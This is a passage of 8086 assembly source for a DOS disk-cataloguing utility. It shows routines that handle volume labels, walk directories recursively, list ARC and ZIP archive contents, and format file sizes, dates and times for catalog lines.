RASK,1 ; show we already asked for VLab CAT60: MOV CX,11 MOV SI,WORD PTR 88H MOV DI,OFFSET VLAB PUSH DI REP MOVSB ; save volume label POP DI TEST VASK,1 JNZ CAT61 ; ask for new label TEST MFLAG,1 JNZ CAT60M JMP CAT7 CAT60R: MOV RASK,0 JMP CAT7 CAT60M: MOV DI,OFFSET NVBUF JMP CAT65M CAT61: TEST RASK,1 ; already asked for label JNZ CAT60R CAT62A: MOV DX,OFFSET CURVOL$ CALL STRCON MOV DX,DI CALL STRCON CAT63: CALL CONCRL MOV DX,OFFSET CHVOL$ TEST NOLAB,1 JZ CAT63C MOV DX,OFFSET USVOL$ CAT63C: CALL ANSWER JC CAT63 JZ CAT62 JMP CAT7 CAT62: TEST MFLAG,1 JZ CAT62C CALL GETSER JNC CAT65 JMP CAT54 CAT62C: MOV DX,OFFSET NEWVOL$ CAT63A: CALL STRCON MOV AX,0C0AH MOV DI,OFFSET NVBUF MOV DX,DI MOV BYTE PTR [DI],12 INT 21H ; flush and input to buffer CMP BYTE PTR [DI+1],0 JNZ CAT65 CMP BYTE PTR [DI+2],' ' JNZ CAT65 CAT64: XOR AX,AX MOV DX,OFFSET SAMVOL$ CALL STRCON JMP CAT7 CAT65: CALL CONCRL CAT65M: PUSH DI ; save ptr to buffer MOV SI,OFFSET VLAB MOV DI,OFFSET NVFCB+8 MOV CX,11 REP MOVSB ; move old volume name into FCB POP DI INC DI ; point to number typed MOV CL,[DI] XOR CH,CH INC DI MOV SI,DI ; point to input buffer MOV BX,CX MOV BYTE PTR [DI+BX],0 ; add terminating 0 MOV DI,OFFSET NVFCB+7+17 ; put new volume name into FCB AND CX,15 JZ CAT64 MOV CX,11 ; max count XOR BX,BX ; counter CAT6L: LODSB AND AL,AL JZ CAT66 CMP AL,'a' JC CAT6M AND AL,5FH ; make upper case CAT6M: INC BX STOSB LOOP CAT6L CAT66: JCXZ CAT67 MOV AL,' ' REP STOSB ; fill with spaces CAT67: TEST NOLAB,1 JNZ CAT68 MOV DX,OFFSET NVFCB MOV BYTE PTR NVFCB+7,0 ; set for default drive MOV AH,17H INT 21H ; try to rename volume label AND AL,AL JZ CAT68 MOV DX,OFFSET INVOL$ CALL STRCON MOV DX,OFFSET NEWVOL$ JMP CAT63A ; try again CAT68: MOV CX,11 MOV SI,OFFSET NVFCB+7+17 MOV DI,OFFSET VLAB REP MOVSB ; save volume label CAT7: MOV AH,3BH MOV DX,OFFSET CPATHR INT 21H ; go back to current dir TEST QFLG,1 JNZ CAT7Q MOV DX,OFFSET APPEND$ CALL STRCON ; say appending MOV DX,OFFSET APPLB$ CALL STRCON CALL SHOLAB MOV DX,OFFSET APPTO$ CALL STRCON CALL SHOCAT CALL CONCRL CAT7Q: MOV BX,OFFSET SFILE+1 MOV DX,0 ; flag to set up DTA CALL FILES ; main program to catalog files TEST NVLAB,1 ; see if no vol label JZ CAT7V ; label exists CALL ADDVO ; put in fake volume label line CAT7V: INC FREF ; show we want free space CALL ADDFS ; add free space XOR AL,AL MOV FREF,AL ; reset TEST QFLG,1 JNZ CAT81 MOV DX,OFFSET FIN$ CALL STRCON ; say finished CALL SHOLAB CAT7Z: MOV DX,OFFSET FPR$ CALL STRCON MOV DX,OFFSET FPS$ CALL STRCON ; ask for more MOV AX,0C01H INT 21H ; get response CMP AL,' ' JNZ CAT8 MOV DL,8 MOV AH,2 INT 21H MOV DL,DRINX ADD DL,'A' MOV AH,2 INT 21H JMP CAT10 CAT8: CMP AL,CR JZ CAT81 CMP AL,ESCP JNZ CAT9 CAT81: CALL CONCRL XOR AL,AL JMP EXIT CAT9: CMP AL,'a' JC CAT91 AND AL,5FH CAT91: CMP AL,'A' JC CAT7Z MOV BYTE PTR NODR$,AL SUB AL,'A' MOV DRINX,AL CMP MAXDR,AL JNC CAT10 MOV AL,MAXDR ADD AL,'@' MOV BYTE PTR NODRM$,AL MOV DX,OFFSET NODR$-1 CALL STRCON JMP CAT7Z CAT10: MOV DX,OFFSET COLN$ CALL STRCON MOV AX,MSERBCD ; make serial volumes ADD AL,1 DAA XCHG AH,AL ADC AL,0 DAA XCHG AH,AL MOV CX,AX AND CX,0F000H JZ CAT112 ; new number less than 1000 MOV MVASCI,BYTE PTR 0 ; start using 4 digit serial # CAT112: MOV MSERBCD,AX MOV DI,OFFSET NVBUF+12 MOV BX,AX MOV DX,0300FH MOV CX,4 CAT11: MOV AL,BL AND AL,DL ADD AL,DH MOV [DI],AL DEC DI ROR BX,1 ROR BX,1 ROR BX,1 ROR BX,1 LOOP CAT11 MOV AL,MVASCI AND AL,AL JZ CAT122 INC DI MOV [DI],AL ; Use ascii char for 1000 th place CAT122: JMP CATC PUBLIC GETCAT,GETC1,GETC1A,GETC2,GETC3,GETC4,GETC5,GETCW,GETC6,GETC6A PUBLIC GETC7,GETC8 GETCAT: CALL GIVCR MOV DX,OFFSET CATSDR CALL CLNAME ; get CATS.COM name in DX MOV AX,3D02H INT 21H ; try to open CATS.COM JNC GETC1 MOV DX,OFFSET NCATS$ CALL STRCON MOV DX,OFFSET CATSDR CALL STRCON MOV DX,OFFSET NCATT$ MOV AL,4 ; open cats.com errorlevel=4 JMP DEXIT GETC1: MOV BX,AX MOV AX,4200H ; move ptr from beginning MOV DX,OFFSET CATDIR-START XOR CX,CX INT 21H ; set ptr to CATDIR TEST NCATSW,1 JZ GETC1A MOV DX,OFFSET CATDIR JMP GETCW GETC1A: MOV DX,OFFSET OLDCAT$ CALL STRCON CALL SHOCAT CALL CONCRL MOV DX,OFFSET GIVCAT$ CALL STRCON MOV AX,0C0AH MOV DI,OFFSET NCATBUF MOV DX,DI MOV BYTE PTR [DI],64 INT 21H INC DI MOV CL,[DI] ; size of buffer AND CL,CL JNZ GETC3 GETC2: MOV DX,OFFSET INCAT$ ; cats.dir name not given MOV AL,5 ; cats.dir errorlevel=5 JMP DEXIT GETC3: XOR CH,CH INC DI MOV SI,DI ADD SI,CX MOV BYTE PTR [SI],0 INC SI PUSH DI MOV DI,SI MOV AX,64 SUB AX,CX MOV CX,AX XOR CH,CH MOV AL,CH REP STOSB ; erase excess from old name POP DI MOV SI,DI MOV DX,DI ; save ptr to new name MOV CX,64 MOV AH,'a' GETC4: LODSB CMP AL,AH JC GETC5 AND AL,5FH GETC5: STOSB ; make upper case LOOP GETC4 MOV DI,OFFSET CATDIR MOV SI,DX ; new cat name MOV DX,DI ; save ptr to name for write MOV CX,32 REP MOVSW GETCW: MOV CX,64 MOV AX,4000H INT 21H ; write over old CAT.COM file MOV DX,OFFSET NEWCAT$ CALL STRCON CALL SHOCAT CALL CONCRL GETC6: TEST NDRSW,1 JZ GETC6A JMP GETC8 GETC6A: MOV DX,OFFSET FPR$ CALL STRCON MOV DX,OFFSET FPT$ CALL STRCON MOV AX,0C01H INT 21H CMP AL,CR JNZ GETC7 XOR AL,AL JMP EXIT GETC7: MOV DX,OFFSET COLN$ CALL STRCON AND AL,5FH SUB AL,'A' JC GETC6 MOV DRINX,AL ; save it ADD AL,'A' MOV APPDR,AL MOV NODR$,AL MOV FDR,AL MOV CURVDR,AL MOV NOVDR,AL GETC8: MOV CATSW,0 JMP CAT5AB PUBLIC FILES,FILS1,FILS2,FILS3,FILS4,FILS5 FILES: ; main subroutine to catalog files on a disk ; in: BX = current temp path name buffer ; DX = current DTA buffer pointer for functions 4E, 4F or 0 ; PUSH SI PUSH DX ; current DTA pointer or 0 CALL MOVF1 ; move FNAM to [bx] CALL FNDF ; get first directory or file name JC FILS2 CALL WRIFILE ; record file or directory in catalog FILS1: CALL FNDNXT ; get next directory or file name JC FILS2 ; no more dir or file names CALL WRIFILE ; record file or directory in catalog JMP SHORT FILS1 ; go for more FILS2: POP DX ; restore DTA offset PUSH DX CALL MOVFIL ; move wild card file name to [bx] CALL FNDF ; get first wild sub directory or file JC FILS5 ; no files in here MOV SI,DX ; set up DTA pointer TEST BYTE PTR [SI+15H],10H ; test dir attribute of found file JNZ FILS4 ; found a directory ; dir search loop FILS3: CALL FNDNXT ; find next directory JC FILS5 ; no more in this dir TEST BYTE PTR [SI+15H],10H ; test attribute bit JZ FILS3 ; skip non directories here FILS4: CMP BYTE PTR [SI+1EH],2EH ; see if this is a dot directory name JZ FILS3 ; if so, skip it CALL SHOFLS ; show files in this sub directory MOV AH,1AH INT 21H ; reset DTA to current DX JMP SHORT FILS3 FILS5: POP DX POP SI RET PUBLIC SHOFLS,SHOFLL SHOFLS: ; show files in this dir (recursive call FILES) PUSH DI PUSH SI ; save pointer to directory name block PUSH BX ; save pointer to path name buffer CLD MOV SI,DX ; get current DTA ADD SI,1EH ; point to packed file name MOV DI,BX ; destination directory file name buffer SHOFLL: LODSB STOSB OR AL,AL JNZ SHOFLL MOV BX,DI ; new destination file buffer STD ; reverse direction STOSB ; add a null MOV AL,'\' STOSB ; put a '\' before null CALL FILES POP BX MOV BYTE PTR [BX],0 POP SI POP DI WRIFE: RET PUBLIC WRIFD,WRIFE,WRIFD1 WRIFD: TEST DIRSW,1 JZ WRIFE PUSH SI MOV SI,DX CMP BYTE PTR [SI+1EH],'.' POP SI JZ WRIFE MOV AH,DIRFLG TEST AL,2 JZ WRIFD1 ; not hidden OR AH,20H ; set to lower case WRIFD1: JMP WRIFA1 PUBLIC WRIFILE,WRIFB,WRIFA,WRIFA1,WRIFG,WRIFW,WRIFK,WRIFS,WRIFNS PUBLIC WRIFNF,WRIF1,WRIF1A,WRIF3,WRIF4,WRIFF,WRIFF1,WRIFF2,WRIFV WRIFILE: ; in: BX = current temp path name buffer ; DX = current DTA buffer pointer for functions 4E, 4F or 0 PUSH SI ; save file info buffer MOV SI,DX MOV AH,VOLFLG MOV AL,[SI+15H] ; attrib flag POP SI TEST AL,8 ; volume ? JZ WRIFB TEST AL,2 ; hidden set if no label on disk JZ WRIFU OR AH,' ' ; set bit 5 for lower case WRIFU: JMP WRIFV WRIFB: MOV AH,SYSFLG TEST AL,4 ; system ? JNZ WRIFA MOV AH,ARCFLG TEST AL,20H ; archive ? JNZ WRIFA MOV AH,' ' WRIFA: TEST AL,10H ; directory ? JNZ WRIFD TEST AL,2 ; hidden ? JZ WRIFA1 ; not hidden OR AH,' ' ; set bit 5 to make lower case CMP AH,' ' ; no other flags if ' ' JNZ WRIFA1 MOV AH,HIDFLG WRIFA1: TEST BYTE PTR ARCFIL,4 JNZ WRIFG ; not processing an arc MOV AH,ARCHF TEST BYTE PTR ARCFIL,8; zip? JZ WRIFG MOV AH,ARCHZ WRIFG: MOV SFLAG,AH PUSH DX ADD DX,1EH ; packed name pointer PUSH SI PUSH DI MOV SI,DX MOV DI,OFFSET BUFFR MOV AX,2901H INT 21H ; parce file name MOV DX,DI INC DX WRIFW: POP DI POP SI PUSH DI MOV DI,DX MOV BP,[DI+8] ; save ext char MOV BYTE PTR [DI+8],0 CALL WRIS0 ; write name TEST FILSP,1 JZ WRIFK MOV DL,' ' CALL WRITC ; write name-extension separator WRIFK: MOV [DI+8],BP ; write extension ADD DI,8 MOV DX,DI MOV AL,BYTE PTR ARCFIL TEST AL,4 ; processing? JZ WRIFK1 TEST AL,1 ; expand arcs? JZ WRIFK1 AND BYTE PTR ARCFIL,NOT 8+2 ; drop 'got an ARC or ZIP' bit CMP WORD PTR [DI],5241H ;`RA' in ARC JNZ WRIFKZ CMP BYTE PTR [DI+2],'C' ; JNZ WRIFKZ OR BYTE PTR ARCFIL,2; set 'got an ARC file' WRIFKZ: CMP WORD PTR [DI],495AH ; 'IZ' in ZIP JNZ WRIFK1 CMP BYTE PTR [DI+2],'P' JNZ WRIFK1 OR BYTE PTR ARCFIL,8+2 ; set 'got ZIP file' WRIFK1: CALL WRIS0 ; write extension MOV DL,FLGSP AND DL,DL JZ WRIFNS DEC DL JZ WRIFS MOV DL,FIELD CALL WRITC WRIFS: MOV DL,SFLAG CALL WRITC ; write flag WRIFNS: POP DI POP DX ; get file DTA pointer back PUSH DX CALL SHOFS ; show file stats MOV DL,FIELD CALL WRITC MOV DX,OFFSET VLAB CALL WRIS0 TEST BYTE PTR FREF,1 JZ WRTNF JMP WRIFF ; this is a free space request WRTNF: TEST BYTE PTR PATHSW,1 JZ WRIF4 MOV DX,OFFSET SFILE ; ptr to full path name TEST BYTE PTR ARCFIL,4 JNZ WRTFN MOV DX,OFFSET ARCPATH WRTFN: MOV AL,FIELD CMP AL,' ' JZ WRIFNF PUSH BX MOV BX,DX MOV [BX],AL POP BX WRIFNF: MOV AX,BX ; ptr to current path name SUB AX,DX ; size of path name to print CMP AX,DOTLEN JC WRIF1 ; extra space for path name PUSH BX MOV BX,DX ADD BX,DOTLEN MOV CL,[BX] ; save char here MOV BYTE PTR [BX],0 CALL WRIS0 ; write path name from [dx] MOV SFILE,'\' MOV [BX],CL ; restore char in SFILE field POP BX JMP SHORT WRIF3 ; write cat line WRIF1: MOV CL,[BX] ; get last byte MOV BYTE PTR [BX],0 ; add null terminator CALL WRIS0 ; write string to null from [dx] MOV [BX],CL ; replace last byte MOV SFILE,'\' MOV AX,BX SUB AX,DX ; size of path field MOV CX,DOTLEN SUB CX,AX JC WRIF3 WRIF1A: TEST BYTE PTR VRECL,1 JNZ WRIF3 MOV DL,FILCHR CALL WRICX ; write cx characters PUBLIC WRIF3 WRIF3: CALL WRITCR MOV AL,ARCFIL AND AL,111B CMP AL,7 ; not processing, got arc, expand arc JNZ WRIF3E POP DX PUSH DX ; get DTA ptr CALL WRIFARC WRIF3E: POP DX RET WRIF4: MOV CX,DOTLEN JMP SHORT WRIF1A WRIFF: MOV DX,OFFSET FREE MOV AX,FREL CMP AX,DOTLEN JC WRIFF1 PUSH BX MOV BX,DX ADD BX,DOTLEN MOV CL,[BX] ; save char here MOV BYTE PTR [BX],0 CALL WRIS0 MOV [BX],CL ; restore char in FREE field POP BX JMP SHORT WRIFF2 WRIFF1: CALL WRIS0 WRIFF2: MOV CX,DOTLEN SUB CX,FREL JNC WRIF1A JMP SHORT WRIF3 WRIFV: MOV BYTE PTR SFLAG,AH PUSH DX PUSH SI PUSH DI PUSH CX MOV SI,OFFSET VLAB MOV DI,OFFSET BUFFR MOV DX,SI MOV CX,11 REP MOVSB MOV BYTE PTR [DI],0 POP CX JMP WRIFW WRTFAE: MOV AH,3EH ; close MOV BX,ARCHAN INT 21H WRTFAEE: OR BYTE PTR ARCFIL,4; set 'not processing' bit POP DI POP SI POP DX POP BX RET PUBLIC WRIFARC WRIFARC: ; in: BX = current temp path name buffer ; DX = current DTA buffer pointer for functions 4E, 4F or 0 AND BYTE PTR ARCFIL,NOT 4 ; reset 'not processing' bit PUSH BX PUSH DX PUSH SI PUSH DI MOV SI,OFFSET SFILE ; start of full path name MOV CX,BX SUB CX,SI ; size of current path name MOV DI,OFFSET ARCPATH REP MOVSB MOV AL,'\' CMP BYTE PTR [DI-1],AL JZ WRTA1 STOSB WRTA1: ADD DX,1EH ; packed name pointer MOV SI,DX ; arc file name CALL MOV0D ; set up extended path name XOR AL,AL STOSB MOV DX,OFFSET ARCPATH MOV AX,3D00H ; open handle for read only INT 21H JC WRTFAEE MOV BX,AX ; handle MOV WORD PTR ARCHAN,AX SUB DI,4 ; back up to '.' in '.ARC',0 MOV ARCPTR,DI ; save ptr to end of path MOV AL,'\' STOSB MOV SI,OFFSET FILEW CALL MOV0D TEST ARCFIL,8 ; zip? JZ WRTAL JMP WRTZL WRTAL: MOV CX,29 ; arc file header size MOV DX,OFFSET FILBUF MOV AH,3FH ; read 29 bytes of file INT 21H JC WRTFAE CMP CX,AX JNZ WRTFAE XCHG BX,DX MOV AX,[BX] CMP AL,1AH ; arc code JNZ WRTFAE AND AH,AH ; end of files ? JZ WRTFAE CALL WRTSAR MOV DX,[BX+15] ; compressed file size low MOV CX,[BX+17] ; compressed file size high MOV BX,ARCHAN MOV AX,4201H ; move ptr from present position INT 21H JNC WRTAL JMP WRTFAE WRTSAR: ; bx points to arc header buffer PUSH BX MOV SI,BX MOV DI,BX ADD DI,128+21 ; new fake file DTA MOV AL,0 STOSB ; attrib byte ADD SI,21 ; point to arc date-time time field MOVSW SUB SI,4 ; date field MOVSW ADD SI,4 ; skip time and crc MOVSW MOVSW ; move true file size MOV SI,BX ADD SI,2 ; arc name field MOV CX,13 REP MOVSB MOV DX,OFFSET ARCDTA MOV BX,WORD PTR ARCPTR CALL WRIFILE POP BX RET WRTFZE: JMP WRTFAE PUBLIC WRTZL WRTZL: MOV CX,44 ; zip file header size PAST filename MOV DX,OFFSET FILBUF MOV AH,3FH ; read 44 bytes of file INT 21H JC WRTFZE CMP CX,AX JNZ WRTFZE XCHG BX,DX MOV AX,[BX] CMP AX,'KP' ; arc code JNZ WRTFZE MOV AX,[BX+2] CMP AX,0403H JNZ WRTFZE CALL WRTSZR MOV DX,[BX+18] ; compressed file size low MOV CX,[BX+20] ; compressed file size high MOV AX,30 ; zip header size to file name ADD AX,[BX+26] ; file name length ADD AX,[BX+28] ; extra length SUB AX,44 ; amount of zip already read JNC WRTZLN NEG AX SUB DX,AX SBB CX,0 JMP SHORT WRTZLC WRTZLN: ADD DX,AX ADC CX,0 ; bytes to move WRTZLC: MOV BX,ARCHAN MOV AX,4201H ; move ptr from present position INT 21H JNC WRTZL JMP WRTFZE PUBLIC WRTSZR WRTSZR: ; bx points to arc header buffer PUSH BX MOV SI,BX MOV DI,BX ADD DI,128+21 ; new fake file DTA MOV AL,0 STOSB ; attrib byte ADD SI,10 ; point to date-time time field MOVSW ; time MOVSW ; date ADD SI,8 ; skip to true file size MOVSW MOVSW ; move true file size LODSW ; get file name length XOR AH,AH ADD SI,2 MOV CX,AX REP MOVSB ; move zip name XOR AL,AL STOSB MOV DX,OFFSET ARCDTA MOV BX,WORD PTR ARCPTR CALL WRIFILE POP BX RET PUBLIC CPYR ; critical data area CPYR: DB 0F2H,0F5H,0BCH,0BEH,0ABH,0ACH,0DFH DB 0CDH,0D1H,0CBH DB 0DFH,0D7H,09CH,0D6H DB 0DFH,0CEH,0C6H,0C7H,0C9H,0D2H,0C7H,0C6H,0DFH,0A8H,096H DB 093H,093H,096H,09EH,092H,0DFH,0BCH,0D1H DB 0DFH,0AFH,09EH,08DH,094H,09AH,0F2H,0F5H,000H DB 0C7H DB 094H,09AH,0DFH,0D7H,09CH,0D6H,0DFH,0BCH DB 090H,08FH,086H,08DH,096H,098H,097H,08BH DB 0DFH,0CEH,0C6H,0C7H,0C9H,0DFH,099H,090H DB 08DH,0DFH,0BCH,0B7H,0AAH,0B8H,0F2H,0F5H DB 0F6H,0F6H,0DFH,0DFH,0DFH,0DFH,0BCH,09EH DB 08FH,096H,08BH,09EH,093H,0DFH,0B7H,09AH DB 09EH,08BH,097H,0DFH,0AAH,08CH,09AH,08DH DB 08CH,0DFH,0B8H,08DH,090H,08AH,08FH,0F2H DB 0F5H,0F6H,0F6H,0F6H,0DFH,0DFH,0DFH,0A9H DB 09AH,08DH,0DFH,0CDH,0D1H,0CCH DB 0F2H,0F5H,000H,0C7H PUBLIC CTLCH CTLCH: IRET PUBLIC MOVF1,MOVFIL,MOV0 MOVF1: PUSH SI MOV SI,OFFSET FNAM+1 CALL MOV0 POP SI RET MOVFIL: PUSH SI MOV SI,OFFSET FILEW CALL MOV0 POP SI RET MOV0D: ; mov [si] to [di] until 0 LODSB STOSB OR AL,AL JNZ MOV0D DEC DI ; point to 0 RET MOV0: ; move [si] to [bx] until 0 PUSH AX PUSH DI MOV DI,BX CLD CALL MOV0D POP DI POP AX RET MOVSP: ; move until space OR cx=0 PUSH AX MOV AH,20H MOVSP1: LODSB CMP AL,AH JZ MOVSP2 STOSB LOOPNZ MOVSP1 MOVSP2: MOV BYTE PTR [DI],0 POP AX RET PUBLIC FNDF,FNDF1 FNDF: ; find directory PUSH CX AND DX,DX JNZ FNDF1 MOV DX,OFFSET DTAB ; set up DTA FNDF1: ADD DX,43 ; add size of previous find buffer MOV CX,SATTR ; attrib MOV AH,1AH INT 21H ; set DTA for functions 4E and 4F PUSH DX MOV DX,OFFSET SFILE MOV AH,4EH INT 21H ; find first dir POP DX POP CX RET PUBLIC FNDNXT FNDNXT: PUSH CX PUSH DX MOV DX,OFFSET SFILE MOV CX,0F7H ; find all but volume MOV AH,4FH INT 21H ; find subseq. DIR match POP DX POP CX RET PUBLIC DDEXIT,DHELP,DEXIT,EXIT0,EXIT DDEXIT: MOV DL,CURDSK MOV AH,0EH INT 21H ; select current disk ADD AL,'@' MOV NODRM$,AL ; max drive index MOV DX,OFFSET NODR$ MOV AL,3 ; drive errorlevel=3 JMP DEXIT DHELP: CALL GIVCR MOV DX,OFFSET LBUFF CALL STRCON CALL SHOCAT MOV DX,OFFSET HELP1$ CALL STRCON MOV DX,OFFSET CATSDR CALL STRCON MOV DX,OFFSET HELP2$ MOV AL,2 ; help errorlevel=2 DEXIT: PUSH AX CALL STRCON ; show message POP AX JMP SHORT EXIT EXIT0: MOV AL,0 EXIT: PUSH AX MOV BX,CATHAN MOV AH,3EH INT 21H MOV DL,CURDSK MOV AH,0EH INT 21H ; select disk PUSH DS LDS DX,DWORD PTR SAVCTLC MOV AX,2523H INT 21H ; restore old ctl-c handler POP DS POP AX MOV AH,4CH INT 21H ; terminate process PUBLIC SKPATH,SKP1,SKP1A,SKP2,SKP3,SKPE SKPATH: PUSH DI MOV AL,'!' DEC SI SKP1: INC SI CMP [SI],AL JC SKP1 ; skip spaces or below MOV AL,CURDSK MOV DRINX,AL CMP [SI+1],BYTE PTR ':' JNZ SKP1A MOV AL,[SI] AND AL,5FH SUB AL,'A' MOV DRINX,AL ; set drive index SKP1A: MOV DI,SI XOR AL,AL CLD MOV CX,0020H DEC DI SKP2: INC DI CMP [DI],CL ; find space JZ SKP3 CMP [DI],CH ; or null terminator JNZ SKP2 SKP3: MOV CX,DI SUB CX,SI ; size of name INC DI MOV STRBEG,DI ; set up for next file DEC DI MOV NFSIZ,CX STC JZ SKPE MOV AL,'\' STD REPNZ SCASB ; search for '\' CLD JCXZ SKPE INC DI INC DI MOV SI,DI MOV NFSIZ,CX SKPE: POP DI MOV CX,NFSIZ MOV FPTR,SI RET PUBLIC ADDFS ADDFS: MOV WORD PTR SFILE,'\' XOR AX,AX MOV DX,OFFSET CPYR ; spare buffer MOV DI,DX MOV CX,24 REP STOSW ; zero out buffer MOV AL,' ' MOV DI,DX ADD DI,1EH ; packed name ptr MOV CX,11 REP STOSB MOV DI,DX PUSH DX MOV AH,36H MOV DL,DRINX INC DL INT 21H ; get file size XOR DX,DX MUL CX ; bytes/sector * sectors/cluster XOR DX,DX MUL BX ; free clusters * bytes/cluster MOV BX,DX ; save high word of bytes free POP DX MOV [DI+1AH],AX ; low byte of bytes free MOV [DI+1CH],BX ; high byte of size CALL SETDT ; set date and time to current dt MOV [DI+16H],AX MOV BX,OFFSET SFILE+1 MOV DX,OFFSET CPYR JMP WRIFILE PUBLIC ADDVO ADDVO: MOV WORD PTR SFILE,'\' XOR AX,AX MOV DX,OFFSET CPYR ; buffer to simulate file search DTA MOV DI,DX MOV CX,24 REP STOSW MOV SI,OFFSET VLAB MOV DI,DX ADD DI,1EH ; packed name ptr MOV CX,11 REP STOSB MOV DI,DX MOV [DI+15H],BYTE PTR 1010B ; hidden volume XOR AX,AX MOV [DI+1AH],AX ; low byte of bytes free MOV [DI+1CH],AX ; high byte of size CALL SETDT ; set date and time fields to current dt MOV BX,OFFSET SFILE+1 MOV DX,OFFSET CPYR JMP WRIFILE SETDT: ; set date and time fields in find buffer PUSH DX MOV AH,2AH INT 21H ; get date XOR AX,AX MOV BX,CX ; year SUB BX,1980 ; make offset from 1980 AND BX,7FH MOV CX,9 SHL BX,CL OR AX,BX ; fix year MOV BX,DX AND BX,0F00H MOV CX,3 SHR BX,CL OR AX,BX ; fix month MOV BX,DX AND BX,001FH OR AX,BX ; fix day POP DX MOV [DI+18H],AX ; put in date PUSH DX MOV AH,2CH INT 21H ; get time XOR AX,AX PUSH CX ; save a copy MOV BX,CX AND BX,1F00H MOV CX,3 SHL BX,CL OR AX,BX ; fix hour POP CX MOV BX,CX AND BX,003FH MOV CX,5 SHL BX,CL OR AX,BX ; fix mins MOV BX,DX AND BX,0FF00H SHR BX,1 ; make half secs AND BX,1F00H XCHG BH,BL OR AX,BX ; fix half secs POP DX MOV [DI+16H],AX RET PUBLIC SHOFS,SHOFS0,SHOFS1,SHOFSA,SHOFS2 SHOFS: ; show file stats PUSH AX PUSH BX PUSH CX PUSH SI PUSH DI PUSH BP PUSH DX ADD DX,1AH ; file size ptr MOV DI,OFFSET SIZF MOV AX,2020H MOV CX,4 REP STOSW MOV SI,DX MOV DI,[SI+2] ; size high word MOV SI,[SI] ; size low word MOV AX,SI OR AX,DI JNZ SHOFS0 MOV AL,SFLAG AND AL,0DFH ; make upper case CMP AL,VOLFLG JZ SHOFS1 CMP AL,DIRFLG JZ SHOFS1 SHOFS0: CALL SETSIZ SHOFS1: MOV DX,OFFSET SIZF MOV AL,FIELD CMP AL,' ' JZ SHOFS2 PUSH DX MOV DL,FIELD CALL WRITC POP DX PUSH DI MOV DI,DX MOV AL,[DI] CMP AL,' ' JZ SHOFSA MOV AL,QMARK ; use ? to show overflow PUSH CX MOV CX,8 REP STOSB POP CX SHOFSA: POP DI INC DX SHOFS2: CALL WRIS0 ; write string to null MOV DL,FIELD CALL WRITC ; size-date separator POP DX PUSH DX ADD DX,18H ; find buffer date ptr MOV SI,DX MOV AX,[SI] CALL SHODATE MOV DL,FIELD CALL WRITC ; date-time separator POP DX PUSH DX ADD DX,16H ; find buffer time ptr MOV SI,DX MOV AX,[SI] CALL SHOTIME POP DX POP BP POP DI POP SI POP CX POP BX POP AX RET PUBLIC SETSIZ,SETS1,SETS2,SETS3,SET4,SET5 SETSIZ: ; set file size into buffer ; SI,DI file size MOV WORD PTR SIZN,0 XOR AX,AX MOV BX,AX ; start with 0 in BX MOV BP,AX ; start with 0 in BP MOV CX,32 ; use all 32 bits of double word SETS1: SHL SI,1 ; shift low word left RCL DI,1 ; rotate hi word left through carry ; carry now has current high bit of double word XCHG BP,AX ; use BP first CALL MDAX ; al+al+c, ah+ah+c', DAA each XCHG BP,AX ; save resultant BCD quartet XCHG BX,AX ; now use BX CALL MDAX ; al+al+c'',ah+ah+c''', DAA each XCHG BX,AX ; and save in BX ADC AL,0 ; accum last carry in AL LOOP SETS1 MOV CX,WORD PTR 1710H MOV AX,BX ; [never mind AL=0.1 to 9.9 billion] CALL SETS2 ; do BX BCD quartet MOV AX,BP ; now do BP quartet SETS2: PUSH AX MOV DL,AH ; start with high BCD doublet CALL SETS3 POP DX ; then do low BCD doublet SETS3: MOV DH,DL ; repeat doublet SHR DL,1 SHR DL,1 SHR DL,1 SHR DL,1 CALL SET4 ; do high BCD singlet in bits 0-3 MOV DL,DH ; now do low singlet SET4: AND DL,0FH ; drop bits 4-7 JZ SET5 ; have first of BCD pair MOV CL,0 ; CL=0 for second of BCD pair SET5: DEC CH AND CL,CH OR DL,30H ; set '0' offset bits SUB DL,CL ; drop by 16 for first of BCD pair PUSH DI MOV DI,OFFSET SIZF ; ascii file size buffer ADD DI,WORD PTR SIZN INC WORD PTR SIZN MOV [DI],DL ; put in decimal digit POP DI RET PUBLIC MDAX MDAX: ADC AL,AL ; add al to al with carry bit DAA ; decimal adj al XCHG AL,AH ; now do the same with ah ADC AL,AL DAA XCHG AL,AH RET PUBLIC SHODATE,SHODAT1,WRIHEX SHODATE: OR AX,AX JNZ SHODAT1 MOV DL,NODAT MOV CX,8 CALL WRICX RET SHODAT1: PUSH AX AND AX,WORD PTR 0FE00H MOV CL,9 SHR AX,CL ADD AX,80 ; dates start with 1980 CALL WRIHEX ; write year MOV DL,'/' CALL WRITC POP AX PUSH AX AND AX,WORD PTR 01E0H MOV CL,5 SHR AX,CL CALL WRIHEX ; write month MOV DL,'-' CALL WRITC POP AX AND AX,1FH WRIHEX: AAM OR AX,WORD PTR 3030H ; '00' PUSH AX MOV DL,AH CALL WRITC ; write tens of day POP AX MOV DL,AL CALL WRITC ; write ones of day RET GIVCR: MOV SI,OFFSET CPYR GIVCRL: LODSB AND AL,AL JZ GIVCRE NOT AL MOV AH,2 MOV DL,AL INT 21H JMP SHORT GIVCRL GIVCRE: RET PUBLIC SHOTIME,SHOTS,SHOTIM1,SHOWTIM2 SHOTIME: OR AX,AX JNZ SHOTIM1 MOV DL,NOTIM MOV CX,5 TEST SECSW,1 JZ SHOTS MOV CX,8 SHOTS: CALL WRICX RET SHOTIM1: PUSH AX AND AX,WORD PTR 0F800H MOV CL,0BH SHR AX,CL CALL WRIHEX ; write hour MOV DL,':' CALL WRITC POP AX PUSH AX AND AX,WORD PTR 07E0H MOV CL,5 SHR AX,CL CALL WRIHEX ; mins TEST SECSW,1 JZ SHOWTIM2 MOV DL,':' CALL WRITC POP AX PUSH AX AND AX,1FH ; secs SHL AX,1 CALL WRIHEX SHOWTIM2: POP AX RET PUBLIC WRITC,WRITCE,WRICXR,WRICX,WRICZR,WRIS0,WRIS0G,WRIS0E,WRIS0T PUBLIC WRITCR,WRITCRC WRITC: ; write dl to buffer PUSH BX MOV BX,LBUFN AND BH,BH JNZ WRITCE PUSH DI MOV DI,OFFSET LBUFF MOV [DI+BX],DL INC LBUFN POP DI WRITCE: POP BX WRICXR: RET WRICX: ; write cx bytes from DL to buffer JCXZ WRICXR PUSH BX MOV BX,LBUFN MOV AX,BX ADD AX,CX AND AH,AH JNZ WRICZR ADD LBUFN,CX PUSH DI MOV DI,OFFSET LBUFF ADD DI,BX MOV AL,DL REP STOSB POP DI WRICZR: POP BX RET WRIS0: ; write from [dx] to buffer ; stop at 0 in [dx] PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI MOV DI,DX XOR AL,AL XOR CX,CX INC CH 